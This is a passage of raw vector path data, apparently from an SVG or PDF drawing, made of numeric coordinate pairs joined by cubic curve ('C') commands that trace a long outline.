53256.00 11015.00 53245.00C11025.67 53234.33 11036.33 53223.67 11047.00 53213.00C11047.00 53181.00 11047.00 53149.00 11047.00 53117.00C11036.33 53095.33 11025.67 53073.67 11015.00 53052.00C11025.67 53030.67 11036.33 53009.33 11047.00 52988.00C11047.00 52934.33 11047.00 52880.67 11047.00 52827.00C11036.33 52827.00 11025.67 52827.00 11015.00 52827.00C11025.67 52816.33 11036.33 52805.67 11047.00 52795.00C11025.67 52763.00 11004.33 52731.00 10983.00 52699.00C10983.00 52688.33 10983.00 52677.67 10983.00 52667.00C10972.33 52667.00 10961.67 52667.00 10951.00 52667.00C10951.00 52656.00 10951.00 52645.00 10951.00 52634.00C10972.33 52612.67 10993.67 52591.33 11015.00 52570.00C11025.67 52570.00 11036.33 52570.00 11047.00 52570.00C11058.00 52548.67 11069.00 52527.33 11080.00 52506.00C11101.33 52506.00 11122.67 52506.00 11144.00 52506.00C11144.00 52516.67 11144.00 52527.33 11144.00 52538.00C11176.00 52527.33 11208.00 52516.67 11240.00 52506.00C11250.67 52495.33 11261.33 52484.67 11272.00 52474.00C11283.00 52431.00 11294.00 52388.00 11305.00 52345.00C11326.33 52355.67 11347.67 52366.33 11369.00 52377.00C11390.46 52366.10 11412.28 52355.70 11433.51 52344.49C11454.68 52323.32 11475.84 52302.16 11497.00 52281.00C11508.00 52291.67 11519.00 52302.33 11530.00 52313.00C11540.71 52302.07 11551.94 52291.51 11562.32 52280.35C11572.88 52258.90 11583.44 52237.45 11594.00 52216.00C11615.33 52227.00 11636.67 52238.00 11658.00 52249.00C11658.00 52238.00 11658.00 52227.00 11658.00 52216.00C11668.67 52205.33 11679.33 52194.67 11690.00 52184.00C11679.33 52173.33 11668.67 52162.67 11658.00 52152.00C11658.00 52141.33 11658.00 52130.67 11658.00 52120.00C11679.67 52120.00 11701.33 52120.00 11723.00 52120.00C11723.00 52109.33 11723.00 52098.67 11723.00 52088.00C11744.33 52088.00 11765.67 52088.00 11787.00 52088.00C11787.00 52077.33 11787.00 52066.67 11787.00 52056.00C11819.00 52077.33 11851.00 52098.67 11883.00 52120.00C11904.67 52109.33 11926.33 52098.67 11948.00 52088.00C11958.86 52088.22 11969.92 52087.57 11980.65 52088.33C12001.77 52098.88 12022.88 52109.44 12044.00 52120.00C12054.67 52098.67 12065.33 52077.33 12076.00 52056.00C12086.67 52056.00 12097.33 52056.00 12108.00 52056.00C12108.00 52066.67 12108.00 52077.33 12108.00 52088.00C12130.22 52076.84 12152.84 52066.37 12174.81 52054.77C12206.21 52033.52 12237.60 52012.26 12269.00 51991.00C12269.00 51959.00 12269.00 51927.00 12269.00 51895.00C12279.67 51884.33 12290.33 51873.67 12301.00 51863.00C12301.00 51852.33 12301.00 51841.67 12301.00 51831.00C12290.33 51820.00 12279.67 51809.00 12269.00 51798.00C12290.46 51787.10 12312.27 51776.69 12333.52 51765.49C12344.35 51755.00 12355.17 51744.50 12366.00 51734.00C12387.33 51734.00 12408.67 51734.00 12430.00 51734.00C12472.76 51691.10 12515.99 51648.66 12559.00 51606.00C12591.00 51606.00 12623.00 51606.00 12655.00 51606.00C12665.67 51573.67 12676.33 51541.33 12687.00 51509.00C12708.33 51509.00 12729.67 51509.00 12751.00 51509.00C12751.00 51530.33 12751.00 51551.67 12751.00 51573.00C12762.00 51573.00 12773.00 51573.00 12784.00 51573.00C12794.67 51551.67 12805.33 51530.33 12816.00 51509.00C12826.67 51519.67 12837.33 51530.33 12848.00 51541.00C12848.00 51551.67 12848.00 51562.33 12848.00 51573.00C12858.67 51573.00 12869.33 51573.00 12880.00 51573.00C12880.00 51541.00 12880.00 51509.00 12880.00 51477.00C12912.33 51466.33 12944.67 51455.67 12977.00 51445.00C12977.00 51423.33 12977.00 51401.67 12977.00 51380.00C12966.00 51369.33 12955.00 51358.67 12944.00 51348.00C12944.00 51337.33 12944.00 51326.67 12944.00 51316.00C12965.67 51305.33 12987.33 51294.67 13009.00 51284.00C13009.00 51305.33 13009.00 51326.67 13009.00 51348.00C13019.67 51337.33 13030.33 51326.67 13041.00 51316.00C13051.67 51337.33 13062.33 51358.67 13073.00 51380.00C13083.67 51380.00 13094.33 51380.00 13105.00 51380.00C13105.00 51358.67 13105.00 51337.33 13105.00 51316.00C13126.33 51316.00 13147.67 51316.00 13169.00 51316.00C13169.00 51294.67 13169.00 51273.33 13169.00 51252.00C13158.33 51241.33 13147.67 51230.67 13137.00 51220.00C13147.67 51220.00 13158.33 51220.00 13169.00 51220.00C13180.00 51230.67 13191.00 51241.33 13202.00 51252.00C13223.33 51230.67 13244.67 51209.33 13266.00 51188.00C13287.33 51188.00 13308.67 51188.00 13330.00 51188.00C13330.00 51123.67 13330.00 51059.33 13330.00 50995.00C13340.65 50983.71 13352.04 50972.88 13362.24 50961.31C13373.16 50929.54 13384.08 50897.77 13395.00 50866.00C13427.00 50866.00 13459.00 50866.00 13491.00 50866.00C13512.33 50844.67 13533.67 50823.33 13555.00 50802.00C13576.67 50802.00 13598.33 50802.00 13620.00 50802.00C13620.00 50791.33 13620.00 50780.67 13620.00 50770.00C13609.00 50759.00 13598.00 50748.00 13587.00 50737.00C13619.33 50737.00 13651.67 50737.00 13684.00 50737.00C13694.67 50726.33 13705.33 50715.67 13716.00 50705.00C13759.00 50715.67 13802.00 50726.33 13845.00 50737.00C13834.33 50748.00 13823.67 50759.00 13813.00 50770.00C13813.00 50791.33 13813.00 50812.67 13813.00 50834.00C13834.33 50823.33 13855.67 50812.67 13877.00 50802.00C13898.33 50759.00 13919.67 50716.00 13941.00 50673.00C13951.67 50694.33 13962.33 50715.67 13973.00 50737.00C13995.40 50726.19 14017.49 50714.66 14040.07 50704.31C14071.38 50693.87 14102.69 50683.44 14134.00 50673.00C14134.00 50651.67 14134.00 50630.33 14134.00 50609.00C14144.67 50598.33 14155.33 50587.67 14166.00 50577.00C14187.67 50598.33 14209.33 50619.67 14231.00 50641.00C14241.67 50630.33 14252.33 50619.67 14263.00 50609.00C14252.33 50598.33 14241.67 50587.67 14231.00 50577.00C14273.67 50555.33 14316.33 50533.67 14359.00 50512.00C14369.67 50512.00 14380.33 50512.00 14391.00 50512.00C14391.00 50501.33 14391.00 50490.67 14391.00 50480.00C14412.79 50469.10 14434.95 50458.71 14456.51 50447.49C14467.01 50436.99 14477.50 50426.50 14488.00 50416.00C14509.33 50426.67 14530.67 50437.33 14552.00 50448.00C14595.00 50416.00 14638.00 50384.00 14681.00 50352.00C14691.67 50330.33 14702.33 50308.67 14713.00 50287.00C14734.33 50276.33 14755.67 50265.67 14777.00 50255.00C14766.33 50244.33 14755.67 50233.67 14745.00 50223.00C14777.00 50190.67 14809.00 50158.33 14841.00 50126.00C14873.33 50115.33 14905.67 50104.67 14938.00 50094.00C14948.67 50072.67 14959.33 50051.33 14970.00 50030.00C14970.00 50008.67 14970.00 49987.33 14970.00 49966.00C15002.33 49976.67 15034.67 49987.33 15067.00 49998.00C15088.33 50019.33 15109.67 50040.67 15131.00 50062.00C15131.00 50030.00 15131.00 49998.00 15131.00 49966.00C15163.00 49966.00 15195.00 49966.00 15227.00 49966.00C15237.91 49944.21 15248.28 49922.04 15259.52 49900.49C15270.35 49890.00 15281.17 49879.50 15292.00 49869.00C15302.67 49879.67 15313.33 49890.33 15324.00 49901.00C15356.00 49890.33 15388.00 49879.67 15420.00 49869.00C15409.33 49858.33 15398.67 49847.67 15388.00 49837.00C15398.67 49826.33 15409.33 49815.67 15420.00 49805.00C15409.33 49794.33 15398.67 49783.67 15388.00 49773.00C15398.67 49762.33 15409.33 49751.67 15420.00 49741.00C15430.67 49741.00 15441.33 49741.00 15452.00 49741.00C15462.67 49730.33 15473.33 49719.67 15484.00 49709.00C15484.00 49698.00 15484.00 49687.00 15484.00 49676.00C15495.00 49676.00 15506.00 49676.00 15517.00 49676.00C15516.78 49665.14 15517.45 49654.07 15516.67 49643.35C15505.78 49622.24 15494.89 49601.12 15484.00 49580.00C15516.33 49569.33 15548.67 49558.67 15581.00 49548.00C15581.00 49569.33 15581.00 49590.67 15581.00 49612.00C15591.67 49601.33 15602.33 49590.67 15613.00 49580.00C15613.00 49558.67 15613.00 49537.33 15613.00 49516.00C15623.67 49526.67 15634.33 49537.33 15645.00 49548.00C15655.67 49537.33 15666.33 49526.67 15677.00 49516.00C15677.00 49505.00 15677.00 49494.00 15677.00 49483.00C15688.00 49472.33 15699.00 49461.67 15710.00 49451.00C15731.33 49461.67 15752.67 49472.33 15774.00 49483.00C15795.60 49461.62 15816.83 49439.73 15838.65 49418.68C15860.36 49408.11 15881.92 49397.15 15903.71 49386.82C15946.34 49376.06 15989.11 49365.69 16031.65 49354.67C16052.77 49344.12 16073.88 49333.56 16095.00 49323.00C16116.67 49323.00 16138.33 49323.00 16160.00 49323.00C16170.67 49312.00 16181.33 49301.00 16192.00 49290.00C16202.67 49311.67 16213.33 49333.33 16224.00 49355.00C16224.00 49365.67 16224.00 49376.33 16224.00 49387.00C16245.33 49387.00 16266.67 49387.00 16288.00 49387.00C16298.67 49376.33 16309.33 49365.67 16320.00 49355.00C16320.00 49322.67 16320.00 49290.33 16320.00 49258.00C16331.00 49247.33 16342.00 49236.67 16353.00 49226.00C16363.67 49247.33 16374.33 49268.67 16385.00 49290.00C16385.00 49311.67 16385.00 49333.33 16385.00 49355.00C16406.33 49355.00 16427.67 49355.00 16449.00 49355.00C16470.33 49376.33 16491.67 49397.67 16513.00 49419.00C16524.19 49418.78 16535.59 49419.44 16546.65 49418.67C16567.77 49408.12 16588.88 49397.56 16610.00 49387.00C16642.00 49397.67 16674.00 49408.33 16706.00 49419.00C16727.67 49397.67 16749.33 49376.33 16771.00 49355.00C16781.67 49376.33 16792.33 49397.67 16803.00 49419.00C16845.67 49387.00 16888.33 49355.00 16931.00 49323.00C16920.33 49312.00 16909.67 49301.00 16899.00 49290.00C16920.40 49268.40 16942.08 49247.08 16964.00 49226.00C16963.84 49247.55 16964.31 49269.20 16963.76 49290.69C16952.84 49322.79 16941.92 49354.90 16931.00 49387.00C16909.67 49397.67 16888.33 49408.33 16867.00 49419.00C16867.00 49429.67 16867.00 49440.33 16867.00 49451.00C16888.46 49461.90 16910.28 49472.30 16931.51 49483.51C16942.34 49494.34 16953.17 49505.17 16964.00 49516.00C16985.33 49516.00 17006.67 49516.00 17028.00 49516.00C17060.15 49494.13 17092.51 49472.53 17124.52 49450.49C17146.06 49429.06 17168.11 49408.01 17189.32 49386.35C17210.55 49343.57 17231.78 49300.78 17253.00 49258.00C17274.33 49268.67 17295.67 49279.33 17317.00 49290.00C17317.00 49268.67 17317.00 49247.33 17317.00 49226.00C17327.67 49215.33 17338.33 49204.67 17349.00 49194.00C17371.23 49205.15 17393.83 49215.65 17415.82 49227.21C17447.21 49248.14 17478.61 49269.07 17510.00 49290.00C17520.67 49290.00 17531.33 49290.00 17542.00 49290.00C17542.00 49279.33 17542.00 49268.67 17542.00 49258.00C17520.67 49236.67 17499.33 49215.33 17478.00 49194.00C17478.00 49162.00 17478.00 49130.00 17478.00 49098.00C17499.46 49108.90 17521.27 49119.31 17542.52 49130.51C17553.35 49141.00 17564.17 49151.50 17575.00 49162.00C17585.67 49151.33 17596.33 49140.67 17607.00 49130.00C17607.00 49119.33 17607.00 49108.67 17607.00 49098.00C17617.67 49087.00 17628.33 49076.00 17639.00 49065.00C17660.33 49065.00 17681.67 49065.00 17703.00 49065.00C17724.33 49086.67 17745.67 49108.33 17767.00 49130.00C17778.00 49130.00 17789.00 49130.00 17800.00 49130.00C17810.67 49140.67 17821.33 49151.33 17832.00 49162.00C17832.00 49172.67 17832.00 49183.33 17832.00 49194.00C17853.33 49194.00 17874.67 49194.00 17896.00 49194.00C17928.20 49150.85 17960.18 49107.51 17992.52 49064.49C18014.01 49043.33 18035.51 49022.16 18057.00 49001.00C18078.33 49022.33 18099.67 49043.67 18121.00 49065.00C18142.46 49054.10 18164.28 49043.70 18185.51 49032.49C18196.01 49021.99 18206.51 49011.50 18217.00 49001.00C18228.00 49011.67 18239.00 49022.33 18250.00 49033.00C18250.00 49054.67 18250.00 49076.33 18250.00 49098.00C18292.67 49098.00 18335.33 49098.00 18378.00 49098.00C18389.00 49108.67 18400.00 49119.33 18411.00 49130.00C18411.00 49140.67 18411.00 49151.33 18411.00 49162.00C18421.67 49151.33 18432.33 49140.67 18443.00 49130.00C18443.00 49108.33 18443.00 49086.67 18443.00 49065.00C18421.33 49054.33 18399.67 49043.67 18378.00 49033.00C18367.33 49011.67 18356.67 48990.33 18346.00 48969.00C18367.67 48969.00 18389.33 48969.00 18411.00 48969.00C18432.33 49001.00 18453.67 49033.00 18475.00 49065.00C18496.33 49076.00 18517.67 49087.00 18539.00 49098.00C18571.15 49065.48 18602.84 49032.50 18636.00 49001.00C18624.85 48958.13 18614.07 48915.13 18602.68 48872.35C18592.12 48850.90 18581.56 48829.45 18571.00 48808.00C18582.10 48808.30 18593.40 48807.40 18604.38 48808.46C18636.26 48818.97 18668.13 48829.49 18700.00 48840.00C18721.33 48829.33 18742.67 48818.67 18764.00 48808.00C18774.67 48808.00 18785.33 48808.00 18796.00 48808.00C18796.00 48840.33 18796.00 48872.67 18796.00 48905.00C18806.67 48905.00 18817.33 48905.00 18828.00 48905.00C18839.00 48862.00 18850.00 48819.00 18861.00 48776.00C18871.67 48776.00 18882.33 48776.00 18893.00 48776.00C18903.67 48786.67 18914.33 48797.33 18925.00 48808.00C18914.33 48829.67 18903.67 48851.33 18893.00 48873.00C18903.67 48915.67 18914.33 48958.33 18925.00 49001.00C18946.33 48979.67 18967.67 48958.33 18989.00 48937.00C18989.00 48915.67 18989.00 48894.33 18989.00 48873.00C18999.67 48862.00 19010.33 48851.00 19021.00 48840.00C19053.33 48840.00 19085.67 48840.00 19118.00 48840.00C19118.00 48861.67 19118.00 48883.33 19118.00 48905.00C19139.33 48894.33 19160.67 48883.67 19182.00 48873.00C19171.33 48851.33 19160.67 48829.67 19150.00 48808.00C19182.00 48808.00 19214.00 48808.00 19246.00 48808.00C19278.33 48851.00 19310.67 48894.00 19343.00 48937.00C19353.67 48915.67 19364.33 48894.33 19375.00 48873.00C19375.00 48851.33 19375.00 48829.67 19375.00 48808.00C19385.93 48797.29 19396.49 48786.06 19407.65 48775.68C19429.10 48765.12 19450.55 48754.56 19472.00 48744.00C19482.67 48754.67 19493.33 48765.33 19504.00 48776.00C19493.33 48797.33 19482.67 48818.67 19472.00 48840.00C19482.67 48851.00 19493.33 48862.00 19504.00 48873.00C19536.00 48851.33 19568.00 48829.67 19600.00 48808.00C19600.00 48786.67 19600.00 48765.33 19600.00 48744.00C19621.33 48744.00 19642.67 48744.00 19664.00 48744.00C19653.33 48776.00 19642.67 48808.00 19632.00 48840.00C19653.67 48851.00 19675.33 48862.00 19697.00 48873.00C19707.67 48873.00 19718.33 48873.00 19729.00 48873.00C19739.67 48851.33 19750.33 48829.67 19761.00 48808.00C19814.67 48808.00 19868.33 48808.00 19922.00 48808.00C19932.67 48786.67 19943.33 48765.33 19954.00 48744.00C19943.10 48722.54 19932.70 48700.72 19921.49 48679.49C19910.66 48668.66 19899.83 48657.83 19889.00 48647.00C19889.00 48636.33 19889.00 48625.67 19889.00 48615.00C19910.79 48625.91 19932.97 48636.28 19954.51 48647.52C19965.05 48658.61 19976.08 48669.35 19986.33 48680.65C19996.88 48701.77 20007.44 48722.88 20018.00 48744.00C20050.33 48754.67 20082.67 48765.33 20115.00 48776.00C20125.67 48786.67 20136.33 48797.33 20147.00 48808.00C20157.67 48786.67 20168.33 48765.33 20179.00 48744.00C20179.00 48733.33 20179.00 48722.67 20179.00 48712.00C20189.67 48701.33 20200.33 48690.67 20211.00 48680.00C20221.67 48680.00 20232.33 48680.00 20243.00 48680.00C20253.65 48668.71 20265.04 48657.88 20275.24 48646.31C20286.16 48614.54 20297.08 48582.77 20308.00 48551.00C20330.06 48540.20 20351.81 48528.63 20374.07 48518.31C20405.38 48507.87 20436.69 48497.44 20468.00 48487.00C20457.33 48454.67 20446.67 48422.33 20436.00 48390.00C20446.93 48379.29 20457.49 48368.07 20468.65 48357.68C20511.44 48336.45 20554.22 48315.22 20597.00 48294.00C20575.40 48260.98 20553.26 48228.27 20532.00 48195.06C20521.33 48174.37 20510.67 48153.69 20500.00 48133.00C20521.67 48133.00 20543.33 48133.00 20565.00 48133.00C20586.33 48143.67 20607.67 48154.33 20629.00 48165.00C20650.33 48154.33 20671.67 48143.67 20693.00 48133.00C20693.00 48122.33 20693.00 48111.67 20693.00 48101.00C20703.67 48090.33 20714.33 48079.67 20725.00 48069.00C20714.33 48047.33 20703.67 48025.67 20693.00 48004.00C20703.67 47972.00 20714.33 47940.00 20725.00 47908.00C20736.04 47897.07 20747.62 47886.53 20758.32 47875.35C20768.88 47853.90 20779.44 47832.45 20790.00 47811.00C20822.00 47822.00 20854.00 47833.00 20886.00 47844.00C20907.88 47811.53 20929.46 47778.81 20951.51 47746.49C20962.01 47735.99 20972.51 47725.50 20983.00 47715.00C21015.00 47715.00 21047.00 47715.00 21079.00 47715.00C21111.33 47747.00 21143.67 47779.00 21176.00 47811.00C21208.00 47822.00 21240.00 47833.00 21272.00 47844.00C21282.67 47844.00 21293.33 47844.00 21304.00 47844.00C21314.67 47865.33 21325.33 47886.67 21336.00 47908.00C21357.67 47908.00 21379.33 47908.00 21401.00 47908.00C21411.67 47886.67 21422.33 47865.33 21433.00 47844.00C21433.00 47769.00 21433.00 47694.00 21433.00 47619.00C21454.38 47640.60 21476.26 47661.83 21497.33 47683.65C21507.88 47704.77 21518.44 47725.88 21529.00 47747.00C21529.00 47682.67 21529.00 47618.33 21529.00 47554.00C21572.00 47554.00 21615.00 47554.00 21658.00 47554.00C21658.00 47575.67 21658.00 47597.33 21658.00 47619.00C21636.67 47661.67 21615.33 47704.33 21594.00 47747.00C21594.00 47768.33 21594.00 47789.67 21594.00 47811.00C21615.08 47832.92 21636.40 47854.60 21658.00 47876.00C21680.06 47865.19 21701.82 47853.65 21724.07 47843.30C21756.12 47832.25 21788.38 47821.70 21820.30 47810.35C21862.54 47789.23 21904.77 47768.12 21947.00 47747.00C21979.06 47714.72 22011.61 47682.94 22044.00 47651.00C22033.33 47629.33 22022.67 47607.67 22012.00 47586.00C22065.33 47597.00 22118.67 47608.00 22172.00 47619.00C22183.00 47651.00 22194.00 47683.00 22205.00 47715.00C22183.33 47758.00 22161.67 47801.00 22140.00 47844.00C22150.67 47854.67 22161.33 47865.33 22172.00 47876.00C22193.67 47876.00 22215.33 47876.00 22237.00 47876.00C22247.67 47833.00 22258.33 47790.00 22269.00 47747.00C22279.67 47736.33 22290.33 47725.67 22301.00 47715.00C22333.00 47736.33 22365.00 47757.67 22397.00 47779.00C22408.00 47779.00 22419.00 47779.00 22430.00 47779.00C22430.00 47757.67 22430.00 47736.33 22430.00 47715.00C22462.00 47715.00 22494.00 47715.00 22526.00 47715.00C22536.67 47704.33 22547.33 47693.67 22558.00 47683.00C22536.67 47661.67 22515.33 47640.33 22494.00 47619.00C22515.33 47608.00 22536.67 47597.00 22558.00 47586.00C22579.67 47597.00 22601.33 47608.00 22623.00 47619.00C22665.67 47619.00 22708.33 47619.00 22751.00 47619.00C22761.67 47608.00 22772.33 47597.00 22783.00 47586.00C22804.67 47597.00 22826.33 47608.00 22848.00 47619.00C22880.00 47683.00 22912.00 47747.00 22944.00 47811.00C22965.33 47822.00 22986.67 47833.00 23008.00 47844.00C23019.23 47822.21 23029.97 47800.05 23041.51 47778.49C23052.01 47767.99 23062.51 47757.50 23073.00 47747.00C23062.33 47725.67 23051.67 47704.33 23041.00 47683.00C23051.67 47672.33 23062.33 47661.67 23073.00 47651.00C23094.60 47672.38 23115.83 47694.26 23137.65 47715.33C23158.89 47726.12 23180.50 47736.41 23201.51 47747.51C23212.01 47758.01 23222.51 47768.50 23233.00 47779.00C23233.10 47822.23 23232.81 47865.51 23233.15 47908.71C23244.10 47962.14 23255.05 48015.57 23266.00 48069.00C23254.71 48079.65 23243.88 48091.04 23232.31 48101.23C23200.54 48111.82 23168.77 48122.41 23137.00 48133.00C23137.00 48154.33 23137.00 48175.67 23137.00 48197.00C23180.00 48229.33 23223.00 48261.67 23266.00 48294.00C23244.33 48315.33 23222.67 48336.67 23201.00 48358.00C23222.88 48357.82 23244.89 48358.36 23266.68 48357.73C23319.78 48336.49 23372.89 48315.24 23426.00 48294.00C23426.00 48304.67 23426.00 48315.33 23426.00 48326.00C23415.07 48336.71 23404.51 48347.93 23393.35 48358.33C23372.23 48368.88 23351.12 48379.44 23330.00 48390.00C23340.67 48411.67 23351.33 48433.33 23362.00 48455.00C23383.33 48465.67 23404.67 48476.33 23426.00 48487.00C23458.33 48487.00 23490.67 48487.00 23523.00 48487.00C23533.67 48497.67 23544.33 48508.33 23555.00 48519.00C23565.67 48508.33 23576.33 48497.67 23587.00 48487.00C23597.67 48497.67 23608.33 48508.33 23619.00 48519.00C23629.67 48572.67 23640.33 48626.33 23651.00 48680.00C23662.00 48690.67 23673.00 48701.33 23684.00 48712.00C23694.86 48711.78 23705.92 48712.43 23716.65 48711.67C23737.77 48701.12 23758.88 48690.56 23780.00 48680.00C23780.00 48658.33 23780.00 48636.67 23780.00 48615.00C23790.96 48604.36 23801.44 48592.94 23812.69 48582.77C23844.79 48572.18 23876.90 48561.59 23909.00 48551.00C23909.00 48540.33 23909.00 48529.67 23909.00 48519.00C23876.67 48497.67 23844.33 48476.33 23812.00 48455.00C23833.67 48412.00 23855.33 48369.00 23877.00 48326.00C23887.67 48315.33 23898.33 48304.67 23909.00 48294.00C23930.46 48304.90 23952.28 48315.30 23973.51 48326.51C23984.01 48337.01 23994.51 48347.50 24005.00 48358.00C24026.46 48347.10 24048.27 48336.69 24069.52 48325.49C24080.35 48315.00 24091.17 48304.50 24102.00 48294.00C24102.00 48272.33 24102.00 48250.67 24102.00 48229.00C24112.67 48261.33 24123.33 48293.67 24134.00 48326.00C24144.67 48336.67 24155.33 48347.33 24166.00 48358.00C24209.00 48358.00 24252.00 48358.00 24295.00 48358.00C24273.33 48379.33 24251.67 48400.67 24230.00 48422.00C24240.67 48454.33 24251.33 48486.67 24262.00 48519.00C24273.44 48519.31 24285.07 48518.38 24296.38 48519.46C24327.92 48529.97 24359.46 48540.49 24391.00 48551.00C24401.67 48561.67 24412.33 48572.33 24423.00 48583.00C24423.00 48604.33 24423.00 48625.67 24423.00 48647.00C24433.86 48646.78 24444.92 48647.43 24455.65 48646.68C24541.21 48604.32 24626.65 48561.77 24712.00 48519.00C24744.33 48476.00 24776.67 48433.00 24809.00 48390.00C24819.62 48336.09 24830.62 48282.21 24841.00 48228.27C24841.00 48164.51 24841.00 48100.76 24841.00 48037.00C24862.33 48015.33 24883.67 47993.67 24905.00 47972.00C24916.00 47972.00 24927.00 47972.00 24938.00 47972.00C25013.45 47530.28 25088.74 47088.53 25164.29 46646.83C25241.04 46218.77 25317.99 45790.76 25394.62 45362.68C25628.31 44044.68 25862.09 42726.70 26095.73 41408.69C26218.07 40686.14 26340.58 39963.63 26462.81 39241.07C26608.48 38377.28 26754.03 37513.47 26899.77 36649.69C27006.51 36051.13 27113.26 35452.57 27220.00 34854.00C27209.33 34800.33 27198.67 34746.67 27188.00 34693.00C27198.90 34671.54 27209.30 34649.72 27220.51 34628.49C27242.01 34606.99 27263.51 34585.50 27285.00 34564.00C27285.00 34478.33 27285.00 34392.67 27285.00 34307.00C27295.59 34274.75 27306.79 34242.59 27317.00 34210.27C27317.00 34188.85 27317.00 34167.42 27317.00 34146.00C27338.82 34135.25 27360.43 34123.97 27382.38 34113.54C27414.26 34103.03 27446.13 34092.51 27478.00 34082.00C27478.00 34060.67 27478.00 34039.33 27478.00 34018.00C27456.33 33975.00 27434.67 33932.00 27413.00 33889.00C27413.00 33814.00 27413.00 33739.00 27413.00 33664.00C27391.66 33620.75 27369.92 33577.64 27348.82 33534.29C27338.22 33491.86 27327.61 33449.43 27317.00 33407.00C27327.95 33374.26 27338.38 33341.30 27349.65 33308.70C27370.77 33266.46 27391.88 33224.23 27413.00 33182.00C27413.00 33139.00 27413.00 33096.00 27413.00 33053.00C27434.67 33031.67 27456.33 33010.33 27478.00 32989.00C27478.00 32935.33 27478.00 32881.67 27478.00 32828.00C27434.62 32774.03 27391.55 32719.77 27347.97 32665.97C27337.65 32655.65 27327.32 32645.32 27317.00 32635.00C27327.67 32592.00 27338.33 32549.00 27349.00 32506.00C27338.07 32495.29 27327.51 32484.07 27316.35 32473.67C27295.23 32463.12 27274.12 32452.56 27253.00 32442.00C27253.00 32431.33 27253.00 32420.67 27253.00 32410.00C27263.67 32410.00 27274.33 32410.00 27285.00 32410.00C27295.67 32388.67 27306.33 32367.33 27317.00 32346.00C27338.33 32346.00 27359.67 32346.00 27381.00 32346.00C27370.33 32324.33 27359.67 32302.67 27349.00 32281.00C27327.67 32270.33 27306.33 32259.67 27285.00 32249.00C27263.33 32259.67 27241.67 32270.33 27220.00 32281.00C27198.67 32249.00 27177.33 32217.00 27156.00 32185.00C27156.00 32163.67 27156.00 32142.33 27156.00 32121.00C27124.00 32088.67 27092.00 32056.33 27060.00 32024.00C27038.21 32013.10 27016.04 32002.71 26994.49 31991.49C26983.99 31980.99 26973.49 31970.49 26963.00 31960.00C26941.67 31960.00 26920.33 31960.00 26899.00 31960.00C26888.33 31949.33 26877.67 31938.67 26867.00 31928.00C26867.00 31842.00 26867.00 31756.00 26867.00 31670.00C26845.67 31648.67 26824.33 31627.33 26803.00 31606.00C26792.00 31606.00 26781.00 31606.00 26770.00 31606.00C26727.33 31574.00 26684.67 31542.00 26642.00 31510.00C26663.33 31477.67 26684.67 31445.33 26706.00 31413.00C26706.00 31391.67 26706.00 31370.33 26706.00 31349.00C26684.67 31338.33 26663.33 31327.67 26642.00 31317.00C26631.33 31317.00 26620.67 31317.00 26610.00 31317.00C26599.00 31295.67 26588.00 31274.33 26577.00 31253.00C26534.33 31220.67 26491.67 31188.33 26449.00 31156.00C26459.67 31145.33 26470.33 31134.67 26481.00 31124.00C26459.67 31113.33 26438.33 31102.67 26417.00 31092.00C26427.67 31081.33 26438.33 31070.67 26449.00 31060.00C26427.33 31060.00 26405.67 31060.00 26384.00 31060.00C26395.00 31038.33 26406.00 31016.67 26417.00 30995.00C26417.00 30984.33 26417.00 30973.67 26417.00 30963.00C26427.67 30952.33 26438.33 30941.67 26449.00 30931.00C26470.33 30931.00 26491.67 30931.00 26513.00 30931.00C26502.33 30909.67 26491.67 30888.33 26481.00 30867.00C26491.97 30855.31 26503.76 30844.29 26514.21 30832.18C26535.17 30800.53 26556.56 30769.10 26577.24 30737.31C26588.43 30705.13 26599.17 30672.76 26610.64 30640.69C26631.56 30598.03 26652.68 30555.46 26674.00 30513.00C26663.33 30513.00 26652.67 30513.00 26642.00 30513.00C26642.00 30491.67 26642.00 30470.33 26642.00 30449.00C26631.33 30438.33 26620.67 30427.67 26610.00 30417.00C26599.00 30417.00 26588.00 30417.00 26577.00 30417.00C26566.33 30395.33 26555.67 30373.67 26545.00 30352.00C26523.67 30341.33 26502.33 30330.67 26481.00 30320.00C26491.75 30298.18 26503.03 30276.57 26513.46 30254.62C26523.97 30222.74 26534.49 30190.87 26545.00 30159.00C26523.46 30126.86 26502.21 30094.47 26480.49 30062.49C26469.99 30051.99 26459.49 30041.49 26449.00 30031.00C26459.67 29988.00 26470.33 29945.00 26481.00 29902.00C26459.67 29880.67 26438.33 29859.33 26417.00 29838.00C26384.67 29838.00 26352.33 29838.00 26320.00 29838.00C26320.00 29805.67 26320.00 29773.33 26320.00 29741.00C26276.43 29729.96 26232.70 29719.47 26189.23 29708.09C26157.82 29697.72 26126.41 29687.36 26095.00 29677.00C26095.00 29666.33 26095.00 29655.67 26095.00 29645.00C26052.13 29634.18 26009.12 29623.74 25966.35 29612.68C25944.78 29601.88 25922.82 29591.61 25901.49 29580.48C25890.95 29569.39 25879.92 29558.65 25869.67 29547.35C25859.12 29526.23 25848.56 29505.12 25838.00 29484.00C25827.33 29484.00 25816.67 29484.00 25806.00 29484.00C25784.33 29452.00 25762.67 29420.00 25741.00 29388.00C25719.67 29377.00 25698.33 29366.00 25677.00 29355.00C25655.67 29355.00 25634.33 29355.00 25613.00 29355.00C25613.00 29333.67 25613.00 29312.33 25613.00 29291.00C25580.41 29280.41 25547.92 29269.21 25515.27 29259.00C25494.18 29259.00 25473.09 29259.00 25452.00 29259.00C25420.00 29194.67 25388.00 29130.33 25356.00 29066.00C25334.33 29076.67 25312.67 29087.33 25291.00 29098.00C25248.33 29087.33 25205.67 29076.67 25163.00 29066.00C25152.33 29076.67 25141.67 29087.33 25131.00 29098.00C25087.85 29065.80 25044.51 29033.82 25001.49 29001.48C24980.27 28979.73 24958.58 28958.32 24937.67 28936.35C24926.78 28915.24 24915.89 28894.12 24905.00 28873.00C24894.33 28873.00 24883.67 28873.00 24873.00 28873.00C24862.10 28851.54 24851.70 28829.72 24840.49 28808.49C24829.51 28797.13 24817.71 28786.48 24807.25 28774.67C24775.30 28732.30 24743.56 28689.74 24711.49 28647.49C24700.95 28636.72 24689.90 28626.33 24679.67 28615.35C24669.12 28594.23 24658.56 28573.12 24648.00 28552.00C24562.02 28476.62 24475.83 28401.47 24389.99 28325.95C24379.66 28315.30 24369.33 28304.65 24359.00 28294.00C24359.00 28251.33 24359.00 28208.67 24359.00 28166.00C24369.81 28143.60 24381.34 28121.51 24391.69 28098.93C24402.13 28067.62 24412.56 28036.31 24423.00 28005.00C24412.36 27822.18 24401.50 27639.37 24391.00 27456.54C24391.07 27327.72 24390.86 27198.90 24391.10 27070.09C24401.71 26769.99 24412.52 26469.91 24423.00 26169.81C24423.00 25666.88 24423.00 25163.94 24423.00 24661.00C24444.33 24661.00 24465.67 